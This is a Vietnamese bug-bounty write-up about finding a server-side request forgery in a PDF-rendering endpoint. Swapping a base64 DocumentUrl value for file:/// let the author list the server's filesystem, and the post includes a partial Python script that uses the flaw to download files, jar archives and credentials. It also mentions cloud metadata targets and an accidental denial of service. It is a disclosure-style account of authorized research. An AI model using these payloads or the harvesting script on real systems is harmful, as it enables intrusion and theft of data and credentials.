0

Lần đầu đạt được Exceptional bằng SSRF

Chào mọi người, cũng đã hai tháng kể từ bài đầu năm. Một phần do khá là bận, phần còn lại là do lười nên không viết writeup được. Nay tranh thủ được cái bug cũng xịn. Chia sẻ với mọi người về hành trình tìm bug trong 15 phút và nâng impact trong 2 tiếng của mình.

image.png

SSRF là gì?

Server-Side Request Forgery (SSRF) là một lỗ hổng bảo mật cho phép kẻ tấn công lợi dụng máy chủ để gửi các yêu cầu đến các hệ thống nội bộ hoặc dịch vụ bên ngoài mà lẽ ra không thể truy cập. Thông thường, SSRF xảy ra khi một ứng dụng web cho phép người dùng nhập URL để lấy dữ liệu từ một nguồn bên ngoài mà không kiểm tra và lọc đầu vào cẩn thận. Kẻ tấn công có thể lợi dụng điều này để:

  • Quét mạng nội bộ và tìm kiếm các dịch vụ chạy trên các cổng mở.
  • Truy cập các API hoặc hệ thống quản trị nội bộ.
  • Khai thác các dịch vụ chạy trên localhost như Redis, Memcached, hoặc các cloud metadata service (http://169.254.169.254).
  • Lạm dụng SSRF để thực hiện các tấn công nâng cao như Remote Code Execution (RCE) hoặc lấy thông tin nhạy cảm.

Một ví dụ đơn giản về request có thể dẫn đến SSRF:

GET /fetch?url=http://localhost:8080/admin HTTP/1.1  
Host: vulnerable-website.com

Nếu máy chủ không kiểm tra URL đầu vào đúng cách, kẻ tấn công có thể thay đổi URL để truy cập tài nguyên nội bộ hoặc gây ra các cuộc tấn công khác.

Hành trình truy tìm

Làm quen

Cách đây tầm nửa tháng, mình được làm quen với Tuấn một Top Hunter trên sàn Intigriti mà mình đang làm

image.png

Thấy nói chuyện hợp cạ quá, anh em quyết định collab với nhau trong tuần cuối tháng 3 vừa rồi. Mình cũng bảo với bạn ấy rằng chưa bao giờ có cái bug nào Exceptional cả. Thế là Tuấn bảo, tự tin lên anh, chiến thôi là được.

Đi cùng nhau

Thế là hai đứa lên kế hoạch collab. Anh em chia nhau ra recon và đưa ra các target khả thi để cùng nhau lên rank. Đến tối hôm nọ, mình tìm được một target và thử thì thấy rất nhiều tính năng. Xác định đây là điểm đầu vào hoàn hảo để bắt đầu, mình báo cho Tuấn 2 anh em làm con này.

Chỉ trong 15p sử dụng và đọc log từ Burp. Mình phát hiện một request như sau:

POST /care/doc/pdf HTTP/2
Host: www.redact.com
Cookie: lang=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded

Id=311251316629&inline=true&DocumentUrl=<@base64>một đoạn base64 dài</@base64>&CSRFToken=7e01a9af-1701-4b46-9a83-40bys285d45d

Khi nhìn vào request, ở param DocumentUrl đập thẳng mắt là chữ Url một keyword đảm bảo đây là một input tiềm năng để có thể tấn công. Thật ra trước đó, mình có nghĩ về IDOR, nhưng khi thử thì không thành công. Và khi giải mã chuỗi base64 ra thì nhận được một url bắt đầu bằng http://172.x.x.x:xxxx. Trong đầu thầm nghĩ: "Ngon rồi quả này khả năng SSRF là chắc kèo".

Nhanh chóng triển khai Collaborator để có thể kiểm chứng phán đoán của bản thân. Và kết quả thật mỹ mãn, có ping back trả về với IP gốc của server. Nhưng check Shodan, đây là một hệ thống VPS của Azure.

Phát động tấn công

Có được đầu vào như thế này, mình báo cho Tuấn, cu em join luôn vào. Bắt đầu hai đứa bị sa lầy vào một vấn đề là cố gắng truy cập theo hướng HTTP protocol. Ở kịch bản này, bọn mình vẽ ra các hướng tấn công như RFI, LFI nhưng khi nhìn vào header trả về header Content-type mặc định là định dạng pdf.

image.png

Tất cả các kịch bản trên đều bị fail. Ngay cả call vào các API best practive cũng đều trả về code 500 và gây ra hiện tượng DOS hệ thống khi đưa vào giá trị http invalid, API chết khá lâu. Vì có lẽ đã hơn 12h đêm rồi. Nên hai đứa hơi lú. Nghĩ rằng chỉ có thể ping back thì sẽ bị reject bởi Out of Scope. Hên thế nào mình nhớ lại, sao chỉ thử HTTP nhỉ? Chúng ta còn nhiều thứ khác để thử mà, ví dụ như file://. Thật ra là chính url ban đầu khi thử request có thể cho phép truy cập Tomcat server

image.png

Nhưng mà thử http://user:pass@172.x.x.x:xxx thì không thành công. Nên bắt buộc phải chuyển hướng, tìm cách đưa bug lên mức cao nhất có thể. Nghĩ là làm mình thử payload đơn giản đến bất ngờ:

file:///

Quá đơn giản đúng không?

image.png

Yeah! Đi đúng hướng rồi đấy. Ở đây việc sử dụng ssrf để list file và folder khá là lâu. Mình quyết định viết một script với sự trợ giúp của AI, dựa vào các status code: 200 và 500.

def download_file(remote_path):
    """
    Gửi request tải file từ remote_path.
    Nếu trả về 500, coi đó là file và sử dụng remote_path cha để tải file.
    """
    time.sleep(DELAY)
    status, response_text = send_ssrf_request(remote_path)
    if status is None:
        return False
    if status == 200 or ("jpg" not in remote_path and "png" not in remote_path and "svg" not in remote_path):
        if not is_directory_listing(response_text):
            # Response trả về nội dung file (dạng text), chuyển sang bytes để lưu
            save_file(remote_path, response_text.encode('utf-8'))
            return True
        else:
            print(f"[!] {remote_path} được nhận dạng là thư mục.")
            return False
    elif status == 500:
        # Khi trả về 500, sử dụng đường dẫn cha của remote_path để tải file
        parent_path = '/'.join(remote_path.rstrip('/').split('/')[:-1])
        print(f"[!] Phát hiện file tại: {parent_path} (status 500 từ {remote_path})")
        status_parent, content_parent = send_ssrf_request(parent_path)
        if status_parent == 200 and content_parent:
            save_file(parent_path, content_parent.encode('utf-8'))
            return True
        else:
            print(f"[!] Không thể tải file từ {parent_path} (HTTP {status_parent})")
            return False
    else:
        print(f"[!] {remote_path} trả về HTTP {status}")
        return False

Nó sẽ dạng dạng như trên. Sau vài phút mình thu được một thư mục không khác gì clone lại cái server! xác định được người dùng đang có là www-data và hệ thống không có các user nào có ssh vào hệ thống cả:

image.png

Ở đây mình định mức lỗi ở mức Critical rồi. Quyết định viết report cho công ty. Sau đó sẽ nâng cao impact hệ thống hơn.

Nâng cao impact

Đây là cơ hội lần đầu đạt được một Exceptional nên mình chắt chiu lắm! Lúc ấy chắc cũng đã là hơn 1h đêm rồi. Nhưng không sao. Cơ hội thế này thì sao bỏ qua được!?! Đúng không? Tuấn cũng đưa ra các hướng khác. Tiếp tục hành trình khám phá. Mình tìm ra được folder đang chạy trên hệ thống. Đục vào thật sâu để đọc từng dòng config nhằm lấy credential chiếm quyền hệ thống. Lăn lộn một lúc, thì các file jar từ server down về hết. Mình đọc và phân tích các nội dung của file.

Ở bước này khá là buồn ngủ rồi, đi làm cả ngày tối try hard đến 2h hơn sáng, nên lúc lú quá phải lên giường đi ngủ thôi, mai còn đi làm nữa.

Sự công nhận

Trưa hôm sau, phía triage báo cáo lại rằng đã có thể tái tạo lại lỗi thành công, họ chấp nhận mức độ là Exception với các vấn đề về DOS, SSRF và các credential mình đang có.

image.png

Đúng là chờ đợi chưa bao giờ là hạnh phúc! Ngày 25/3 pending thì phải đến chiều 26/3 mới được accept, lúc ấy trong đầu cứ nghĩ, liệu họ có hạ mức độ xuống không? Liệu lỗi chưa đủ lớn hả? Rất nhiều suy nghĩ, 11h đêm phải comment vào nhắc công ty xem như nào và chiều 26/3 ấy, thật bất ngờ với quyết định của công ty đưa ra:

image.png

Quá đã !!!

Kết

Đây là lần đầu mình collab và đúng là thành công mỹ mãn. Hiện tại bọn mình có thêm vài lỗ hổng Critical và Exceptional cùng với nhau rồi. Chắc rảnh mình sẽ viết bài tiếp!

Fact: Bug Accept phát 2 đưa đi du lịch luôn (Tuấn đi trước lúc tìm ra bug, còn chiều đó mình đi luôn :v)


Bài học rút ra

  • Hãy kết bạn để thêm nhiều cơ hội phát triển.
  • Muốn nhanh thì đi 1 mình, muốn đi xa thì đi cùng nhau!
  • Những giá trị base64 cũng không làm khó được việc phát hiện lỗ hổng.
  • Cứ hỏi nếu bạn không tìm ra được hướng phát triển.

Châm ngôn anh Mạnh Luật có chia sẻ với mình trước hôm tìm được bug 3 ngày:

image.png

Cảm ơn anh Mạnh Luật !!! ❤️


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí